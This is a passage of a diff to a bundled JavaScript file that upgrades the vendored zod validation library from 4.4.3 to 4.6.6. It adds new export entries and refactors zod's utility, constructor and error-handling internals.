_properties, property: () => _property, readonly: () => readonly, record: () => record, @@ -47013,6 +47029,7 @@ __export(external_exports, { toJSONSchema: () => toJSONSchema, toLowerCase: () => _toLowerCase, toUpperCase: () => _toUpperCase, + toZod: () => toZod, transform: () => transform, treeifyError: () => treeifyError, trim: () => _trim, @@ -47030,12 +47047,15 @@ __export(external_exports, { uuidv4: () => uuidv4, uuidv6: () => uuidv6, uuidv7: () => uuidv7, + validate: () => validate, + validateAsync: () => validateAsync, void: () => _void2, + withParser: () => withParser, xid: () => xid2, xor: () => xor }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/index.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/index.js var core_exports2 = {}; __export(core_exports2, { $ZodAny: () => $ZodAny, @@ -47067,6 +47087,7 @@ __export(core_exports2, { $ZodCheckMultipleOf: () => $ZodCheckMultipleOf, $ZodCheckNumberFormat: () => $ZodCheckNumberFormat, $ZodCheckOverwrite: () => $ZodCheckOverwrite, + $ZodCheckProperties: () => $ZodCheckProperties, $ZodCheckProperty: () => $ZodCheckProperty, $ZodCheckRegex: () => $ZodCheckRegex, $ZodCheckSizeEquals: () => $ZodCheckSizeEquals, @@ -47074,8 +47095,10 @@ __export(core_exports2, { $ZodCheckStringFormat: () => $ZodCheckStringFormat, $ZodCheckUpperCase: () => $ZodCheckUpperCase, $ZodCodec: () => $ZodCodec, + $ZodCreditCard: () => $ZodCreditCard, $ZodCustom: () => $ZodCustom, $ZodCustomStringFormat: () => $ZodCustomStringFormat, + $ZodCyclicError: () => $ZodCyclicError, $ZodDate: () => $ZodDate, $ZodDefault: () => $ZodDefault, $ZodDiscriminatedUnion: () => $ZodDiscriminatedUnion, @@ -47089,6 +47112,7 @@ __export(core_exports2, { $ZodFile: () => $ZodFile, $ZodFunction: () => $ZodFunction, $ZodGUID: () => $ZodGUID, + $ZodIBAN: () => $ZodIBAN, $ZodIPv4: () => $ZodIPv4, $ZodIPv6: () => $ZodIPv6, $ZodISODate: () => $ZodISODate, @@ -47144,10 +47168,15 @@ __export(core_exports2, { $input: () => $input, $output: () => $output, Doc: () => Doc, + INVALID: () => INVALID, JSONSchema: () => json_schema_exports, JSONSchemaGenerator: () => JSONSchemaGenerator, NEVER: () => NEVER, TimePrecision: () => TimePrecision, + URL_BAD_FORMAT: () => URL_BAD_FORMAT, + URL_UNPARSEABLE: () => URL_UNPARSEABLE, + ZodCompileAsyncError: () => ZodCompileAsyncError, + ZodCompileUnsupportedError: () => ZodCompileUnsupportedError, _any: () => _any, _array: () => _array, _base64: () => _base64, @@ -47163,6 +47192,7 @@ __export(core_exports2, { _coercedDate: () => _coercedDate, _coercedNumber: () => _coercedNumber, _coercedString: () => _coercedString, + _creditCard: () => _creditCard, _cuid: () => _cuid, _cuid2: () => _cuid2, _custom: () => _custom, @@ -47184,6 +47214,7 @@ __export(core_exports2, { _gt: () => _gt, _gte: () => _gte, _guid: () => _guid, + _iban: () => _iban, _includes: () => _includes, _int: () => _int, _int32: () => _int32, @@ -47232,6 +47263,7 @@ __export(core_exports2, { _pipe: () => _pipe, _positive: () => _positive, _promise: () => _promise, + _properties: () => _properties, _property: () => _property, _readonly: () => _readonly, _record: () => _record, @@ -47274,7 +47306,12 @@ __export(core_exports2, { _void: () => _void, _xid: () => _xid, _xor: () => _xor, + base64Charset: () => base64Charset, + base64urlCharset: () => base64urlCharset, + canParseURL: () => canParseURL, clone: () => clone, + compile: () => compile, + compileFn: () => compileFn, config: () => config, createStandardJSONSchemaMethod: () => createStandardJSONSchemaMethod, createToJSONSchemaMethod: () => createToJSONSchemaMethod, @@ -47287,18 +47324,30 @@ __export(core_exports2, { finalize: () => finalize, flattenError: () => flattenError, formatError: () => formatError, + getDiscriminatedOption: () => getDiscriminatedOption, globalConfig: () => globalConfig, globalRegistry: () => globalRegistry, + handleUnrepresentable: () => handleUnrepresentable, initializeContext: () => initializeContext, + isBackEdge: () => isBackEdge, + isRecursiveSchema: () => isRecursiveSchema, isValidBase64: () => isValidBase64, isValidBase64URL: () => isValidBase64URL, + isValidCIDRv6: () => isValidCIDRv6, + isValidCreditCard: () => isValidCreditCard, + isValidIBAN: () => isValidIBAN, + isValidIPv6: () => isValidIPv6, isValidJWT: () => isValidJWT, locales: () => locales_exports, + memoizer: () => memoizer, + mergeValues: () => mergeValues, meta: () => meta, parse: () => parse, parseAsync: () => parseAsync, + parseURLObject: () => parseURLObject, prettifyError: () => prettifyError, - process: () => process2, + process: () => processSchema, + processSchema: () => processSchema, regexes: () => regexes_exports, registry: () => registry, safeDecode: () => safeDecode, @@ -47307,94 +47356,27 @@ __export(core_exports2, { safeEncodeAsync: () => safeEncodeAsync, safeParse: () => safeParse, safeParseAsync: () => safeParseAsync, + standardProps: () => standardProps, + stripTabAndNewline: () => stripTabAndNewline, toDotPath: () => toDotPath, toJSONSchema: () => toJSONSchema, + toZod: () => toZod, treeifyError: () => treeifyError, + urlHostnameOk: () => urlHostnameOk, + urlProtocolOk: () => urlProtocolOk, util: () => util_exports, - version: () => version + validate: () => validate, + validateAsync: () => validateAsync, + validateURL: () => validateURL, + version: () => version, + withParser: () => withParser }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/core.js -var _a; -var NEVER = /* @__PURE__ */ Object.freeze({ - status: "aborted" -}); -// @__NO_SIDE_EFFECTS__ -function $constructor(name, initializer3, params) { - function init(inst, def) { - if (!inst._zod) { - Object.defineProperty(inst, "_zod", { - value: { - def, - constr: _, - traits: /* @__PURE__ */ new Set() - }, - enumerable: false - }); - } - if (inst._zod.traits.has(name)) { - return; - } - inst._zod.traits.add(name); - initializer3(inst, def); - const proto = _.prototype; - const keys = Object.keys(proto); - for (let i = 0; i < keys.length; i++) { - const k = keys[i]; - if (!(k in inst)) { - inst[k] = proto[k].bind(inst); - } - } - } - const Parent = params?.Parent ?? Object; - class Definition extends Parent { - } - Object.defineProperty(Definition, "name", { value: name }); - function _(def) { - var _a3; - const inst = params?.Parent ? new Definition() : this; - init(inst, def); - (_a3 = inst._zod).deferred ?? (_a3.deferred = []); - for (const fn of inst._zod.deferred) { - fn(); - } - return inst; - } - Object.defineProperty(_, "init", { value: init }); - Object.defineProperty(_, Symbol.hasInstance, { - value: (inst) => { - if (params?.Parent && inst instanceof params.Parent) - return true; - return inst?._zod?.traits?.has(name); - } - }); - Object.defineProperty(_, "name", { value: name }); - return _; -} -var $brand = Symbol("zod_brand"); -var $ZodAsyncError = class extends Error { - constructor() { - super(`Encountered Promise during synchronous parse. Use .parseAsync() instead.`); - } -}; -var $ZodEncodeError = class extends Error { - constructor(name) { - super(`Encountered unidirectional transform during encode: ${name}`); - this.name = "ZodEncodeError"; - } -}; -(_a = globalThis).__zod_globalConfig ?? (_a.__zod_globalConfig = {}); -var globalConfig = globalThis.__zod_globalConfig; -function config(newConfig) { - if (newConfig) - Object.assign(globalConfig, newConfig); - return globalConfig; -} - -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/util.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/util.js var util_exports = {}; __export(util_exports, { BIGINT_FORMAT_RANGES: () => BIGINT_FORMAT_RANGES, + CONSTANT_CATCH: () => CONSTANT_CATCH, Class: () => Class, NUMBER_FORMAT_RANGES: () => NUMBER_FORMAT_RANGES, aborted: () => aborted, @@ -47405,6 +47387,7 @@ __export(util_exports, { assertNever: () => assertNever, assertNotEqual: () => assertNotEqual, assignProp: () => assignProp, + attachSchema: () => attachSchema, base64ToUint8Array: () => base64ToUint8Array, base64urlToUint8Array: () => base64urlToUint8Array, cached: () => cached, @@ -47413,8 +47396,12 @@ __export(util_exports, { cleanRegex: () => cleanRegex, clone: () => clone, cloneDef: () => cloneDef, + codePointLength: () => codePointLength, + constantCatch: () => constantCatch, createTransparentProxy: () => createTransparentProxy, defineLazy: () => defineLazy, + defineLazyInternal: () => defineLazyInternal, + derived: () => derived, esc: () => esc, escapeRegex: () => escapeRegex, explicitlyAborted: () => explicitlyAborted, @@ -47427,11 +47414,14 @@ __export(util_exports, { getParsedType: () => getParsedType, getSizableOrigin: () => getSizableOrigin, hexToUint8Array: () => hexToUint8Array, + hide: () => hide, + installLazyProp: () => installLazyProp, isObject: () => isObject2, isPlainObject: () => isPlainObject, issue: () => issue, joinValues: () => joinValues, jsonStringifyReplacer: () => jsonStringifyReplacer, + members: () => members, merge: () => merge, mergeDefs: () => mergeDefs, normalizeParams: () => normalizeParams, @@ -47440,6 +47430,7 @@ __export(util_exports, { objectClone: () => objectClone, omit: () => omit, optionalKeys: () => optionalKeys, + own: () => own, parsedType: () => parsedType, partial: () => partial, pick: () => pick, @@ -47448,11 +47439,14 @@ __export(util_exports, { promiseAllObject: () => promiseAllObject, propertyKeyTypes: () => propertyKeyTypes, randomString: () => randomString, + rawShape: () => rawShape, required: () => required, safeExtend: () => safeExtend, shallowClone: () => shallowClone, + sizeCaps: () => sizeCaps, slugify: () => slugify, stringifyPrimitive: () => stringifyPrimitive, + toZod: () => toZod, uint8ArrayToBase64: () => uint8ArrayToBase64, uint8ArrayToBase64url: () => uint8ArrayToBase64url, uint8ArrayToHex: () => uint8ArrayToHex, @@ -47464,6 +47458,9 @@ function assertEqual(val) { function assertNotEqual(val) { return val; } +function toZod() { + return (schema) => schema; +} function assertIs(_arg) { } function assertNever(_x) { @@ -47484,21 +47481,25 @@ function jsonStringifyReplacer(_, value) { return value.toString(); return value; } -function cached(getter) { - const set2 = false; - return { - get value() { - if (!set2) { - const value = getter(); - Object.defineProperty(this, "value", { value }); - return value; - } - throw new Error("cached value already set"); +var Cached = class { + constructor(getter) { + this._getter = getter; + this._value = void 0; + } + get value() { + const getter = this._getter; + if (getter !== void 0) { + this._value = getter(); + this._getter = void 0; } - }; + return this._value; + } +}; +function cached(getter) { + return new Cached(getter); } -function nullish(input) { - return input === null || input === void 0; +function nullish(input2) { + return input2 === null || input2 === void 0; } function cleanRegex(source) { const start = source.startsWith("^") ? 1 : 0; @@ -47508,7 +47509,7 @@ function cleanRegex(source) { function floatSafeRemainder(val, step) { const ratio = val / step; const roundedRatio = Math.round(ratio); - const tolerance = Number.EPSILON * Math.max(Math.abs(ratio), 1); + const tolerance = 4 * Number.EPSILON * Math.max(Math.abs(ratio), 1); if (Math.abs(ratio - roundedRatio) < tolerance) return 0; return ratio - roundedRatio; @@ -47547,6 +47548,56 @@ function assignProp(target, prop, value) { configurable: true }); } +function rawShape(def) { + const desc2 = Object.getOwnPropertyDescriptor(def, "shape"); + return desc2?.get ? desc2.get.raw : desc2?.value; +} +function sourceShape(schema) { + return rawShape(schema._zod.def) ?? schema._zod.def.shape; +} +function deferProp(target, key, getter) { + Object.defineProperty(target, key, { + get() { + const value = getter(); + assignProp(this, key, value); + return value; + }, + enumerable: true, + configurable: true + }); +} +function putProp(target, key, value) { + if (key in target) + assignProp(target, key, value); + else + target[key] = value; +} +function mirrorShape(target, source, keys, wrap) { + const raw = sourceShape(source); + for (const key of keys) { + const desc2 = Object.getOwnPropertyDescriptor(raw, key); + if (!desc2.enumerable) + continue; + if (desc2.get) { + deferProp(target, key, () => { + const value = source._zod.def.shape[key]; + return wrap ? wrap(value, key) : value; + }); + } else + putProp(target, key, wrap ? wrap(desc2.value, key) : desc2.value); + } +} +function mirrorProps(target, source) { + for (const key of Reflect.ownKeys(source)) { + const desc2 = Object.getOwnPropertyDescriptor(source, key); + if (!desc2.enumerable) + continue; + if (desc2.get) + deferProp(target, key, () => source[key]); + else + putProp(target, key, desc2.value); + } +} function mergeDefs(...defs) { const mergedDescriptors = {}; for (const def of defs) { @@ -47585,8 +47636,8 @@ function randomString(length = 10) { function esc(str) { return JSON.stringify(str); } -function slugify(input) { - return input.toLowerCase().trim().replace(/[^\w\s-]/g, "").replace(/[\s_-]+/g, "-").replace(/^-+|-+$/g, ""); +function slugify(input2) { + return input2.toLowerCase().trim().replace(/[^\w\s-]/g, "").replace(/[\s_-]+/g, "-").replace(/^-+|-+$/g, ""); } var captureStackTrace = "captureStackTrace" in Error ? Error.captureStackTrace : (..._args) => { }; @@ -47764,16 +47815,16 @@ function stringifyPrimitive(value) { } function optionalKeys(shape) { return Object.keys(shape).filter((k) => { - return shape[k]._zod.optin === "optional" && shape[k]._zod.optout === "optional"; + return shape[k]._zod.optin !== void 0 && shape[k]._zod.optout === "optional"; }); } -var NUMBER_FORMAT_RANGES = { +var NUMBER_FORMAT_RANGES = /* @__PURE__ */ (() => ({ safeint: [Number.MIN_SAFE_INTEGER, Number.MAX_SAFE_INTEGER], int32: [-2147483648, 2147483647], uint32: [0, 4294967295], float32: [-34028234663852886e22, 34028234663852886e22], float64: [-Number.MAX_VALUE, Number.MAX_VALUE] -}; +}))(); var BIGINT_FORMAT_RANGES = { int64: [/* @__PURE__ */ BigInt("-9223372036854775808"), /* @__PURE__ */ BigInt("9223372036854775807")], uint64: [/* @__PURE__ */ BigInt(0), /* @__PURE__ */ BigInt("18446744073709551615")] @@ -47785,23 +47836,21 @@ function pick(schema, mask) { if (hasChecks) { throw new Error(".pick() cannot be used on object schemas containing refinements"); } - const def = mergeDefs(schema._zod.def, { - get shape() { - const newShape = {}; - for (const key in mask) { - if (!(key in currDef.shape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - newShape[key] = currDef.shape[key]; - } - assignProp(this, "shape", newShape); - return newShape; - }, - checks: [] - }); - return clone(schema, def); + const newShape = {}; + mirrorShape(newShape, schema, maskedKeys(schema, mask)); + return clone(schema, mergeDefs(currDef, { shape: newShape, checks: [] })); +} +function maskedKeys(schema, mask) { + const raw = sourceShape(schema); + const keys = []; + for (const key of Reflect.ownKeys(mask)) { + if (!Object.getOwnPropertyDescriptor(raw, key)?.enumerable) { + throw new Error(`Unrecognized key: "${String(key)}"`); + } + if (mask[key]) + keys.push(key); + } + return keys; } function omit(schema, mask) { const currDef = schema._zod.def; @@ -47810,23 +47859,10 @@ function omit(schema, mask) { if (hasChecks) { throw new Error(".omit() cannot be used on object schemas containing refinements"); } - const def = mergeDefs(schema._zod.def, { - get shape() { - const newShape = { ...schema._zod.def.shape }; - for (const key in mask) { - if (!(key in currDef.shape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - delete newShape[key]; - } - assignProp(this, "shape", newShape); - return newShape; - }, - checks: [] - }); - return clone(schema, def); + const omitted = new Set(maskedKeys(schema, mask)); + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)).filter((key) => !omitted.has(key))); + return clone(schema, mergeDefs(currDef, { shape: newShape, checks: [] })); } function extend(schema, shape) { if (!isPlainObject(shape)) { @@ -47835,45 +47871,39 @@ function extend(schema, shape) { const checks = schema._zod.def.checks; const hasChecks = checks && checks.length > 0; if (hasChecks) { - const existingShape = schema._zod.def.shape; - for (const key in shape) { + const existingShape = sourceShape(schema); + for (const key of Reflect.ownKeys(shape)) { if (Object.getOwnPropertyDescriptor(existingShape, key) !== void 0) { throw new Error("Cannot overwrite keys on object schemas containing refinements. Use `.safeExtend()` instead."); } } } - const def = mergeDefs(schema._zod.def, { - get shape() { - const _shape = { ...schema._zod.def.shape, ...shape }; - assignProp(this, "shape", _shape); - return _shape; - } - }); - return clone(schema, def); + return clone(schema, mergeDefs(schema._zod.def, { shape: extended(schema, shape) })); +} +function extended(schema, shape) { + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema))); + mirrorProps(newShape, shape); + return newShape; } function safeExtend(schema, shape) { if (!isPlainObject(shape)) { throw new Error("Invalid input to safeExtend: expected a plain object"); } - const def = mergeDefs(schema._zod.def, { - get shape() { - const _shape = { ...schema._zod.def.shape, ...shape }; - assignProp(this, "shape", _shape); - return _shape; - } - }); - return clone(schema, def); + return clone(schema, mergeDefs(schema._zod.def, { shape: extended(schema, shape) })); } function merge(a, b2) { + if (!b2?._zod?.def) { + throw new Error("Invalid input to merge: expected an object schema. To merge a plain shape, use `.extend()`."); + } if (a._zod.def.checks?.length) { throw new Error(".merge() cannot be used on object schemas containing refinements. Use .safeExtend() instead."); } + const newShape = {}; + mirrorShape(newShape, a, Reflect.ownKeys(sourceShape(a))); + mirrorShape(newShape, b2, Reflect.ownKeys(sourceShape(b2))); const def = mergeDefs(a._zod.def, { - get shape() { - const _shape = { ...a._zod.def.shape, ...b2._zod.def.shape }; - assignProp(this, "shape", _shape); - return _shape; - }, + shape: newShape, get catchall() { return b2._zod.def.catchall; }, @@ -47881,74 +47911,26 @@ function merge(a, b2) { }); return clone(a, def); } -function partial(Class2, schema, mask) { +function partial(Class2, schema, mask, name = "partial") { const currDef = schema._zod.def; const checks = currDef.checks; const hasChecks = checks && checks.length > 0; if (hasChecks) { - throw new Error(".partial() cannot be used on object schemas containing refinements"); - } - const def = mergeDefs(schema._zod.def, { - get shape() { - const oldShape = schema._zod.def.shape; - const shape = { ...oldShape }; - if (mask) { - for (const key in mask) { - if (!(key in oldShape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - shape[key] = Class2 ? new Class2({ - type: "optional", - innerType: oldShape[key] - }) : oldShape[key]; - } - } else { - for (const key in oldShape) { - shape[key] = Class2 ? new Class2({ - type: "optional", - innerType: oldShape[key] - }) : oldShape[key]; - } - } - assignProp(this, "shape", shape); - return shape; - }, - checks: [] - }); - return clone(schema, def); + throw new Error(`.${name}() cannot be used on object schemas containing refinements`); + } + const selected = mask ? new Set(maskedKeys(schema, mask)) : void 0; + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)), Class2 && ((value, key) => selected && !selected.has(key) ? value : new Class2({ type: "optional", innerType: value }))); + return clone(schema, mergeDefs(schema._zod.def, { shape: newShape, checks: [] })); } function required(Class2, schema, mask) { - const def = mergeDefs(schema._zod.def, { - get shape() { - const oldShape = schema._zod.def.shape; - const shape = { ...oldShape }; - if (mask) { - for (const key in mask) { - if (!(key in shape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - shape[key] = new Class2({ - type: "nonoptional", - innerType: oldShape[key] - }); - } - } else { - for (const key in oldShape) { - shape[key] = new Class2({ - type: "nonoptional", - innerType: oldShape[key] - }); - } - } - assignProp(this, "shape", shape); - return shape; - } - }); - return clone(schema, def); + const selected = mask ? new Set(maskedKeys(schema, mask)) : void 0; + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)), (value, key) => ( + // overwrite with non-optional + selected && !selected.has(key) ? value : new Class2({ type: "nonoptional", innerType: value }) + )); + return clone(schema, mergeDefs(schema._zod.def, { shape: newShape })); } function aborted(x, startIndex = 0) { if (x.aborted === true) @@ -47981,29 +47963,75 @@ function prefixIssues(path, issues) { function unwrapMessage(message2) { return typeof message2 === "string" ? message2 : message2?.message; } +function sizeCaps(defChecks) { + const caps = []; + for (const ch of defChecks ?? []) { + const d = ch._zod.def; + if (!/_(length|size)$|_equals$/.test(d.check)) + break; + const max = d.maximum ?? d.length ?? d.size; + if (max >= 0) + caps.push([max, ch]); + } + return caps; +} +function attachSchema(issues, start, inst) { + var _a3; + for (let i = start; i < issues.length; i++) { + (_a3 = issues[i]).schema ?? (_a3.schema = inst); + } +} function finalizeIssue(iss, ctx, config2) { - const message2 = iss.message ? iss.message : unwrapMessage(iss.inst?._zod.def?.error?.(iss)) ?? unwrapMessage(ctx?.error?.(iss)) ?? unwrapMessage(config2.customError?.(iss)) ?? unwrapMessage(config2.localeError?.(iss)) ?? "Invalid input"; - const { inst: _inst, continue: _continue, input: _input, ...rest } = iss; - rest.path ?? (rest.path = []); - rest.message = message2; + var _a3; + const traits = iss.inst?._zod?.traits; + if (traits?.has("$ZodType")) { + if (traits.has("$ZodCheck")) + (_a3 = iss).schema ?? (_a3.schema = iss.inst); + else + iss.schema = iss.inst; + } + const schemaError = iss.schema !== iss.inst ? iss.schema?._zod.def?.error : void 0; + const message2 = iss.message ? iss.message : unwrapMessage(iss.inst?._zod.def?.error?.(iss)) ?? unwrapMessage(schemaError?.(iss)) ?? unwrapMessage(ctx?.error?.(iss)) ?? unwrapMessage(config2.customError?.(iss)) ?? unwrapMessage(config2.localeError?.(iss)) ?? "Invalid input"; + const full = {}; + for (const k of Object.keys(iss)) { + if (k === "inst" || k === "schema" || k === "continue" || k === "input" || k === "__proto__") + continue; + full[k] = iss[k]; + } + full.path ?? (full.path = []); + full.message = message2; if (ctx?.reportInput) { - rest.input = _input; + full.input = iss.input; } - return rest; + return full; } -function getSizableOrigin(input) { - if (input instanceof Set) +function getSizableOrigin(input2) { + if (input2 instanceof Set) return "set"; - if (input instanceof Map) + if (input2 instanceof Map) return "map"; - if (input instanceof File) + if (input2 instanceof File) return "file"; return "unknown"; } -function getLengthableOrigin(input) { - if (Array.isArray(input)) +var highSurrogate = /[\uD800-\uDBFF]/; +function codePointLength(str) { + const units = str.length; + if (!highSurrogate.test(str)) + return units; + let count = units; + for (let i = 0; i < units - 1; i++) { + if ((str.charCodeAt(i) & 64512) === 55296 && (str.charCodeAt(i + 1) & 64512) === 56320) { + count--; + i++; + } + } + return count; +} +function getLengthableOrigin(input2) { + if (Array.isArray(input2)) return "array"; - if (typeof input === "string") + if (typeof input2 === "string") return "string"; return "unknown"; } @@ -48029,12 +48057,12 @@ function parsedType(data) { return t; } function issue(...args) { - const [iss, input, inst] = args; + const [iss, input2, inst] = args; if (typeof iss === "string") { return { message: iss, code: "custom", - input, + input: input2, inst }; } @@ -48086,43 +48114,312 @@ var Class = class { constructor(..._args) { } }; - -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/errors.js -var initializer = (inst, def) => { - inst.name = "$ZodError"; - Object.defineProperty(inst, "_zod", { - value: inst._zod, - enumerable: false +function members(proto, table2) { + for (const key in table2) { + const desc2 = Object.getOwnPropertyDescriptor(table2, key); + if (desc2.get) + Object.defineProperty(proto, key, { ...desc2, enumerable: false }); + else + defineBound(proto, key, desc2.value); + } +} +function own(inst, key, value, enumerable = true) { + Object.defineProperty(inst, key, { configurable: true, writable: true, enumerable, value }); + return value; +} +function hide(inst, key, value) { + return own(inst, key, value, false); +} +// @__NO_SIDE_EFFECTS__ +function derived(computes, table2) { + for (const key in computes) { + const compute = computes[key]; + Object.defineProperty(table2, key, { + configurable: true, + enumerable: true, + get() { + return own(this, key, compute(this)); + }, + set(value) { + own(this, key, value); + } + }); + } + return table2; +} +function defineBound(proto, key, fn) { + Object.defineProperty(proto, key, { + configurable: true, + get() { + return this == null ? fn : own(this, key, fn.bind(this)); + }, + set(value) { + own(this, key, value); + } }); - Object.defineProperty(inst, "issues", { - value: def, - enumerable: false +} +function claim(inst, sentinel) { + const proto = Object.getPrototypeOf(inst); + return sentinel in proto ? void 0 : proto; +} +var installing; +var broke = false; +var breaker = { + configurable: true, + get() { + broke = true; + return void 0; + } +}; +function defineLazyInternal(inst, key, compute) { + const proto = Object.getPrototypeOf(inst._zod); + if (key in proto && installing !== inst._zod) { + installing = void 0; + return; + } + installing = inst._zod; + Object.defineProperty(proto, key, { + configurable: true, + get() { + Object.defineProperty(this, key, breaker); + const outer = broke; + broke = false; + try { + const value = compute(this); + if (broke) + delete this[key]; + else + Object.defineProperty(this, key, { configurable: true, writable: true, value }); + broke = broke || outer; + return value; + } catch (err) { + delete this[key]; + broke = broke || outer; + throw err; + } + }, + set(value) { + Object.defineProperty(this, key, { configurable: true, writable: true, value }); + } }); - inst.message = JSON.stringify(def, jsonStringifyReplacer, 2); - Object.defineProperty(inst, "toString", { - value: () => inst.message, - enumerable: false +} +function installLazyProp(inst, key, make, enumerable) { + const proto = claim(inst, key); + if (!proto) + return; + Object.defineProperty(proto, key, { + configurable: true, + get() { + const desc2 = { configurable: true, writable: true, enumerable, value: void 0 }; + Object.defineProperty(this, key, desc2); + desc2.value = make(this); + Object.defineProperty(this, key, desc2); + return desc2.value; + }, + set(value) { + Object.defineProperty(this, key, { configurable: true, writable: true, enumerable, value }); + } }); +} +var CONSTANT_CATCH = "~constantCatch"; +function constantCatch(value) { + const fn = () => value; + fn[CONSTANT_CATCH] = true; + return fn; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/core.js +var _a; +var NEVER = /* @__PURE__ */ Object.freeze({ + status: "aborted" +}); +var _zodDesc = { value: void 0, enumerable: false }; +var _E = "captureStackTrace" in Error ? Error : null; +function newError(Definition) { + const E = _E; + if (E) { + const saved = E.stackTraceLimit; + if (typeof saved === "number") { + try { + E.stackTraceLimit = 0; + } catch { + _E = null; + return new Definition(); + } + try { + return new Definition(); + } finally { + E.stackTraceLimit = saved; + } + } + } + return new Definition(); +} +// @__NO_SIDE_EFFECTS__ +function $constructor(name, initializer3, proto, params) { + const zodProto = {}; + function Internals(def) { + this.def = def; + this.constr = _; + this.traits = /* @__PURE__ */ new Set(); + } + Internals.prototype = zodProto; + const protoMembers = proto; + const initialized = protoMembers && /* @__PURE__ */ new WeakSet(); + function init(inst, def) { + if (!inst._zod) { + _zodDesc.value = new Internals(def); + try { + Object.defineProperty(inst, "_zod", _zodDesc); + } finally { + _zodDesc.value = void 0; + } + } else if (inst._zod.traits.has(name)) { + return; + } + inst._zod.traits.add(name); + initializer3(inst, def); + if (initialized) { + const own2 = Object.getPrototypeOf(inst); + const ctorProto = inst._zod.constr.prototype; + let up = own2; + while (up && up !== ctorProto) + up = Object.getPrototypeOf(up); + const target = up ?? own2; + if (!initialized.has(target)) { + initialized.add(target); + members(target, protoMembers); + } + } + const proto2 = _.prototype; + for (const k in proto2) { + if (!Object.prototype.hasOwnProperty.call(proto2, k)) + continue; + if (!(k in inst)) { + inst[k] = proto2[k].bind(inst); + } + } + } + const Parent = params?.Parent ?? Object; + class Definition extends Parent { + } + Object.defineProperty(Definition, "name", { value: name }); + function _(def) { + const inst = params?.Parent ? newError(Definition) : this; + init(inst, def); + const deferred = inst._zod.deferred; + if (deferred) { + for (const fn of deferred) { + fn(); + } + inst._zod.deferred = void 0; + } + const pp = globalThis.__zod_globalConfig?.postProcessor; + if (pp) + pp(inst); + return inst; + } + Object.defineProperty(_, "init", { value: init }); + Object.defineProperty(_, Symbol.hasInstance, { + value: (inst) => { + if (params?.Parent && inst instanceof params.Parent) + return true; + return inst?._zod?.traits?.has(name); + } + }); + Object.defineProperty(_, "name", { value: name }); + return _; +} +var $brand = /* @__PURE__ */ Symbol("zod_brand"); +var $ZodAsyncError = class extends Error { + constructor() { + super(`Encountered Promise during synchronous parse. Use .parseAsync() instead.`); + } +}; +var $ZodEncodeError = class extends Error { + constructor(name) { + super(`Encountered unidirectional transform during encode: ${name}`); + this.name = "ZodEncodeError"; + } +}; +(_a = globalThis).__zod_globalConfig ?? (_a.__zod_globalConfig = {}); +var globalConfig = globalThis.__zod_globalConfig; +function config(newConfig) { + if (newConfig) + Object.assign(globalConfig, newConfig); + return globalConfig; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/errors.js +function _getMessage() { + const internals = this._zod; + internals.message ?? (internals.message = JSON.stringify(internals.def, jsonStringifyReplacer, 2)); + return internals.message; +} +function _setMessage(value) { + this._zod.message = value; +} +var _messageDesc = { + get: _getMessage, + set: _setMessage, + enumerable: true, + configurable: true +}; +var _issuesDesc = { value: void 0, enumerable: false }; +var _installedToString = /* @__PURE__ */ new WeakSet([Object.prototype, Error.prototype]); +var initializer = (inst, def) => { + inst.name = "$ZodError"; + _issuesDesc.value = def; + Object.defineProperty(inst, "issues", _issuesDesc); + _issuesDesc.value = void 0; + Object.defineProperty(inst, "message", _messageDesc); + const proto = Object.getPrototypeOf(inst); + if (!_installedToString.has(proto)) { + _installedToString.add(proto); + Object.defineProperty(proto, "toString", { + configurable: true, + enumerable: false, + get() { + const value = () => this.message; + Object.defineProperty(this, "toString", { value, configurable: true, writable: true }); + return value; + }, + set(value) { + Object.defineProperty(this, "toString", { value, configurable: true, writable: true }); + } + }); + } }; var $ZodError = $constructor("$ZodError", initializer); -var $ZodRealError = $constructor("$ZodError", initializer, { Parent: Error }); -function flattenError(error51, mapper = (issue2) => issue2.message) { +var $ZodRealError = $constructor("$ZodError", initializer, void 0, { + Parent: Error +}); +function node(obj, key, make) { + if (!Object.prototype.hasOwnProperty.call(obj, key)) { + if (key === "__proto__") { + Object.defineProperty(obj, key, { value: make(), writable: true, enumerable: true, configurable: true }); + } else { + obj[key] = make(); + } + } + return obj[key]; +} +function flattenError(error62, mapper = (issue2) => issue2.message) { const fieldErrors = {}; const formErrors = []; - for (const sub of error51.issues) { + for (const sub of error62.issues) { if (sub.path.length > 0) { - fieldErrors[sub.path[0]] = fieldErrors[sub.path[0]] || []; - fieldErrors[sub.path[0]].push(mapper(sub)); + node(fieldErrors, sub.path[0], () => []).push(mapper(sub)); } else { formErrors.push(mapper(sub)); } } return { formErrors, fieldErrors }; } -function formatError(error51, mapper = (issue2) => issue2.message) { +function formatError(error62, mapper = (issue2) => issue2.message) { const fieldErrors = { _errors: [] }; - const processError = (error52, path = []) => { - for (const issue2 of error52.issues) { + const processError = (error63, path = []) => { + for (const issue2 of error63.issues) { if (issue2.code === "invalid_union" && issue2.errors.length) { issue2.errors.map((issues) => processError({ issues }, [...path, ...issue2.path])); } else if (issue2.code === "invalid_key") { @@ -48139,27 +48436,39 @@ function formatError(error51, mapper = (issue2) => issue2.message) { while (i < fullpath.length) { const el = fullpath[i]; const terminal = i === fullpath.length - 1; - if (!terminal) { - curr[el] = curr[el] || { _errors: [] }; - } else { - curr[el] = curr[el] || { _errors: [] }; - curr[el]._errors.push(mapper(issue2)); + if (el === "_errors") { + if (terminal) + curr._errors.push(mapper(issue2)); + i++; + continue; + } + if 